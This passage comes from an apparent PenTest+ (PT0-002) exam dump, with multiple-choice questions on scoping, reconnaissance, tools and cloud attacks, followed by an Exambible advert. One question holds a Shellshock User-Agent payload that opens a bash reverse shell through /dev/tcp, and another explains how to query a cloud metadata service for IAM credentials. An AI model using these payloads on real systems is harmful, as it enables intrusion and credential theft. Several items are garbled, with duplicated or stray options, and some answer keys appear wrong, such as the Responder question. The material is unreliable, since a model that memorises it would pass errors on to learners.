The penetration tester is most likely trying to perform a metadata service attack, which is an attack that exploits a vulnerability in the metadata service of a cloud provider. The metadata service is a service that provides information about the cloud instance, such as its IP address, hostname, credentials, user data, or role permissions. The metadata service can be accessed from within the cloud instance by using a special IP address, such as 169.254.169.254 for AWS, Azure, and GCP. The commands that the penetration tester runs are curl commands, which are used to transfer data from or to a server. The curl commands are requesting data from the metadata service IP address with different paths, such as /latest/meta-data/iam/security-credentials/ and /latest/user-data/. These paths can reveal sensitive information about the cloud instance, such as its IAM role credentials or user data scripts. The penetration tester may use this information to escalate privileges, access other resources, or perform other actions on the cloud environment. The other options are not likely attacks that the penetration tester is trying to perform.

NEW QUESTION 242
A penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?

A. Prohibiting exploitation in the production environment
B. Requiring all testers to review the scoping document carefully
C. Never assessing the production networks
D. Prohibiting testers from joining the team during the assessment

Answer: B

Explanation:
The scoping document is a document that defines the objectives, scope, limitations, deliverables, and expectations of a penetration testing engagement. It is an essential document that guides the penetration testing process and ensures that both the tester and the client agree on the terms and conditions of the test.

Requiring all testers to review the scoping document carefully would have most effectively prevented this misunderstanding, as it would have informed the new tester about the client's request not to test the production networks. The other options are not effective or realistic ways to prevent this misunderstanding.

NEW QUESTION 247
Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?

A. Nessus
B. Metasploit
C. Burp Suite
D. Ethercap

Answer: B

NEW QUESTION 249
A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

A. Check the scoping document to determine if exfiltration is within scope.
B. Stop the penetration test.
C. Escalate the issue.
D. Include the discovery and interaction in the daily report.

Answer: B

Explanation:
"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

NEW QUESTION 253
An Nmap scan of a network switch reveals the following:

```
Nmap scan report for 192.168.1.254
Host is up 10.014s latency),
Not shown: 96 closed ports
Port    State  Service
22/tcp  open   ssh
23/tcp  open   telnet
60/tcp  open   http
443/tcp open   https
```

Which of the following technical controls will most likely be the FIRST recommendation for this device?

A. Encrypted passwords
B. System-hardening techniques
C. Multifactor authentication
D. Network segmentation

Answer: B

NEW QUESTION 255
A penetration tester is conducting an unknown environment test and gathering additional information that can be used for later stages of an assessment. Which of the following would most likely produce useful information for additional testing?

A. Searching for code repositories associated with a developer who previously worked for the target company code repositories associated with the
B. Searching for code repositories target company's organization
C. Searching for code repositories associated with the target company's organization
D. Searching for code repositories associated with a developer who previously worked for the target company

Answer: B

Explanation:
Code repositories are online platforms that store and manage source code and other files related to software development projects. Code repositories can contain useful information for additional testing, such as application names, versions, features, functions, vulnerabilities, dependencies, credentials, comments, or documentation. Searching for code repositories associated with the target company's organization would most likely produce useful information for additional testing, as it would reveal the software projects that the target company is working on or using, and potentially expose some weaknesses or flaws that can be exploited. Code repositories can be searched by using tools such as GitHub, GitLab, Bitbucket, or SourceForge1. The other options are not as likely to produce useful information for additional testing, as they are not directly related to the target company's software development activities. Searching for code repositories associated with a developer who previously worked for the target company may not yield any relevant or current information, as the developer may have deleted, moved, or updated their code repositories after leaving the company.
Searching for code repositories associated with the target company's competitors or customers may not yield any useful or accessible information, as they may have different or unrelated software projects, or they may have restricted or protected their code repositories from public view.

NEW QUESTION 257
Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?

A. NDA

B. MSA
C. SOW
D. MOU

Answer: C

Explanation:
As mentioned in question 1, the SOW describes the specific activities, deliverables, and schedules for a penetration tester. The other documents are not relevant for this purpose. An NDA is a non-disclosure agreement that protects the confidentiality of the client's information. An MSA is a master service agreement that defines the general terms and conditions of a business relationship. An MOU is a memorandum of understanding that expresses a common intention or agreement between parties.

NEW QUESTION 259
During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?

A. Vulnerability scanning
B. Network segmentation
C. System hardening
D. Intrusion detection

Answer: B

Explanation:
Network segmentation is the practice of dividing a network into smaller subnetworks or segments based on different criteria, such as function, security level, or access control. Network segmentation can enhance the security of a network by isolating sensitive or critical systems from less secure or untrusted systems, reducing the attack surface, limiting the spread of malware or intrusions, and enforcing granular policies and rules for each segment. To be PCI compliant, which is a set of standards for protecting payment card data, the company should have implemented network segmentation to separate the servers that perform financial transactions from other parts of the network that may be less secure or more exposed to threats. The other options are not specific requirements for PCI compliance, although they may be good security practices in general.

NEW QUESTION 264
A Chief Information Security Officer wants to evaluate the security of the company's e-commerce application. Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?

A. SQLmap
B. DirBuster
C. w3af
D. OWASP ZAP

Answer: C

Explanation:
W3AF, the Web Application Attack and Audit Framework, is an open source web application security scanner that includes directory and filename bruteforcing in its list of capabilities.

NEW QUESTION 269
A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?

A. Whether sensitive client data is publicly accessible
B. Whether the connection between the cloud and the client is secure
C. Whether the client's employees are trained properly to use the platform
D. Whether the cloud applications were developed using a secure SDLC

Answer: A

NEW QUESTION 272
Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

A. NIST SP 800-53
B. OWASP Top 10
C. MITRE ATT&CK framework
D. PTES technical guidelines

Answer: C

NEW QUESTION 275
A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:
exploits = {"User-Agent": "() { ignored;};/bin/bash –i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

A. exploits = {"User-Agent": "() { ignored;};/bin/bash –i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
B. exploits = {"User-Agent": "() { ignored;};/bin/bash –i>& find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
C. exploits = {"User-Agent": "() { ignored;};/bin/sh –i ps –ef" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
D. exploits = {"User-Agent": "() { ignored;};/bin/bash –i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

Answer: A

NEW QUESTION 280
A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?

A. Comma
B. Double dash
C. Single quote
D. Semicolon

Answer: C

Explanation:
A single quote (') is a common character used to test for SQL injection vulnerabilities, which occur when user input is directly passed to a database query. A single quote can terminate a string literal and allow an attacker to inject malicious SQL commands. For example, if the search form uses the query SELECT * FROM products WHERE name LIKE '%user_input%', then entering a single quote as user input would result in an error or unexpected behavior

NEW QUESTION 284
A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team?

A. Multiple handshakes
B. IP addresses
C. Encrypted file transfers
D. User hashes sent over SMB

Answer: B

NEW QUESTION 288
A penetration tester received a 16-bit network block that was scoped for an assessment. During the assessment, the tester realized no hosts were active in the provided block of IPs and reported this to the company. The company then provided an updated block of IPs to the tester. Which of the following would be the most appropriate NEXT step?

A. Terminate the contract.
B. Update the ROE with new signature
C. Most Voted
D. Scan the 8-bit block to map additional missed hosts.
E. Continue the assessment.

Answer: B

NEW QUESTION 291
A client evaluating a penetration testing company requests examples of its work. Which of the following represents the BEST course of action for the penetration testers?

A. Redact identifying information and provide a previous customer's documentation.
B. Allow the client to only view the information while in secure spaces.
C. Determine which reports are no longer under a period of confidentiality.
D. Provide raw output from penetration testing tools.

Answer: C

Explanation:
Penetration testing reports contain sensitive information about the vulnerabilities and risks of a customer's systems and networks. Therefore, penetration testers should respect the confidentiality and privacy of their customers and only share their reports with authorized parties. Penetration testers should also follow the terms and conditions of their contracts with their customers, which may include a period of confidentiality that prohibits them from disclosing any information related to the testing without the customer's consent.

NEW QUESTION 292
.....

Relate Links

100% Pass Your PT0-002 Exam with Exambible Prep Materials

https://www.exambible.com/PT0-002-exam/

Contact us

We are proud of our high-quality customer service, which serves you around the clock 24/7.

Viste - https://www.exambible.com/